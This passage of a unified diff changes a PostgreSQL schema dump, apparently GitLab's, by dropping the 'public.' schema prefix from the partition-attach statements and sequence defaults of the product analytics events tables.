@@ -1023,10 +1025,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_05 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_05 FOR VALUES WITH (modulus 64, remainder 5);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_05 FOR VALUES WITH (modulus 64, remainder 5);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_06 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -1156,10 +1158,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_06 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_06 FOR VALUES WITH (modulus 64, remainder 6);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_06 FOR VALUES WITH (modulus 64, remainder 6);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_07 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -1289,10 +1291,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_07 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_07 FOR VALUES WITH (modulus 64, remainder 7);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_07 FOR VALUES WITH (modulus 64, remainder 7);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_08 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -1422,10 +1424,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_08 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_08 FOR VALUES WITH (modulus 64, remainder 8);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_08 FOR VALUES WITH (modulus 64, remainder 8);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_09 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -1555,10 +1557,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_09 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_09 FOR VALUES WITH (modulus 64, remainder 9);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_09 FOR VALUES WITH (modulus 64, remainder 9);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_10 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -1688,10 +1690,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_10 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_10 FOR VALUES WITH (modulus 64, remainder 10);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_10 FOR VALUES WITH (modulus 64, remainder 10);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_11 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -1821,10 +1823,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_11 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_11 FOR VALUES WITH (modulus 64, remainder 11);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_11 FOR VALUES WITH (modulus 64, remainder 11);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_12 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -1954,10 +1956,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_12 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_12 FOR VALUES WITH (modulus 64, remainder 12);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_12 FOR VALUES WITH (modulus 64, remainder 12);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_13 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -2087,10 +2089,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_13 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_13 FOR VALUES WITH (modulus 64, remainder 13);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_13 FOR VALUES WITH (modulus 64, remainder 13);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_14 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -2220,10 +2222,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_14 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_14 FOR VALUES WITH (modulus 64, remainder 14);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_14 FOR VALUES WITH (modulus 64, remainder 14);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_15 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -2353,10 +2355,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_15 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_15 FOR VALUES WITH (modulus 64, remainder 15);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_15 FOR VALUES WITH (modulus 64, remainder 15);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_16 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -2486,10 +2488,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_16 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_16 FOR VALUES WITH (modulus 64, remainder 16);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_16 FOR VALUES WITH (modulus 64, remainder 16);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_17 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -2619,10 +2621,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_17 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_17 FOR VALUES WITH (modulus 64, remainder 17);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_17 FOR VALUES WITH (modulus 64, remainder 17);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_18 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -2752,10 +2754,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_18 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_18 FOR VALUES WITH (modulus 64, remainder 18);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_18 FOR VALUES WITH (modulus 64, remainder 18);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_19 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -2885,10 +2887,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_19 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_19 FOR VALUES WITH (modulus 64, remainder 19);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_19 FOR VALUES WITH (modulus 64, remainder 19);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_20 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -3018,10 +3020,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_20 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_20 FOR VALUES WITH (modulus 64, remainder 20);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_20 FOR VALUES WITH (modulus 64, remainder 20);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_21 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -3151,10 +3153,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_21 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_21 FOR VALUES WITH (modulus 64, remainder 21);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_21 FOR VALUES WITH (modulus 64, remainder 21);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_22 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -3284,10 +3286,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_22 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_22 FOR VALUES WITH (modulus 64, remainder 22);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_22 FOR VALUES WITH (modulus 64, remainder 22);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_23 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -3417,10 +3419,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_23 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_23 FOR VALUES WITH (modulus 64, remainder 23);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_23 FOR VALUES WITH (modulus 64, remainder 23);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_24 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -3550,10 +3552,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_24 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_24 FOR VALUES WITH (modulus 64, remainder 24);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_24 FOR VALUES WITH (modulus 64, remainder 24);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_25 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -3683,10 +3685,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_25 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_25 FOR VALUES WITH (modulus 64, remainder 25);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_25 FOR VALUES WITH (modulus 64, remainder 25);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_26 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -3816,10 +3818,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_26 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_26 FOR VALUES WITH (modulus 64, remainder 26);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_26 FOR VALUES WITH (modulus 64, remainder 26);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_27 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -3949,10 +3951,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_27 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_27 FOR VALUES WITH (modulus 64, remainder 27);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_27 FOR VALUES WITH (modulus 64, remainder 27);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_28 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -4082,10 +4084,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_28 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_28 FOR VALUES WITH (modulus 64, remainder 28);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_28 FOR VALUES WITH (modulus 64, remainder 28);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_29 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -4215,10 +4217,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_29 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_29 FOR VALUES WITH (modulus 64, remainder 29);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_29 FOR VALUES WITH (modulus 64, remainder 29);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_30 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -4348,10 +4350,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_30 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_30 FOR VALUES WITH (modulus 64, remainder 30);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_30 FOR VALUES WITH (modulus 64, remainder 30);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_31 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -4481,10 +4483,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_31 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_31 FOR VALUES WITH (modulus 64, remainder 31);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_31 FOR VALUES WITH (modulus 64, remainder 31);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_32 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -4614,10 +4616,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_32 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_32 FOR VALUES WITH (modulus 64, remainder 32);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_32 FOR VALUES WITH (modulus 64, remainder 32);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_33 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -4747,10 +4749,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_33 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_33 FOR VALUES WITH (modulus 64, remainder 33);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_33 FOR VALUES WITH (modulus 64, remainder 33);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_34 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -4880,10 +4882,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_34 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_34 FOR VALUES WITH (modulus 64, remainder 34);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_34 FOR VALUES WITH (modulus 64, remainder 34);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_35 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -5013,10 +5015,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_35 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_35 FOR VALUES WITH (modulus 64, remainder 35);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_35 FOR VALUES WITH (modulus 64, remainder 35);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_36 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -5146,10 +5148,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_36 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_36 FOR VALUES WITH (modulus 64, remainder 36);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_36 FOR VALUES WITH (modulus 64, remainder 36);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_37 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -5279,10 +5281,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_37 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_37 FOR VALUES WITH (modulus 64, remainder 37);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_37 FOR VALUES WITH (modulus 64, remainder 37);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_38 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -5412,10 +5414,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_38 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_38 FOR VALUES WITH (modulus 64, remainder 38);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_38 FOR VALUES WITH (modulus 64, remainder 38);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_39 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -5545,10 +5547,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_39 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_39 FOR VALUES WITH (modulus 64, remainder 39);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_39 FOR VALUES WITH (modulus 64, remainder 39);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_40 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -5678,10 +5680,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_40 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_40 FOR VALUES WITH (modulus 64, remainder 40);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_40 FOR VALUES WITH (modulus 64, remainder 40);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_41 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
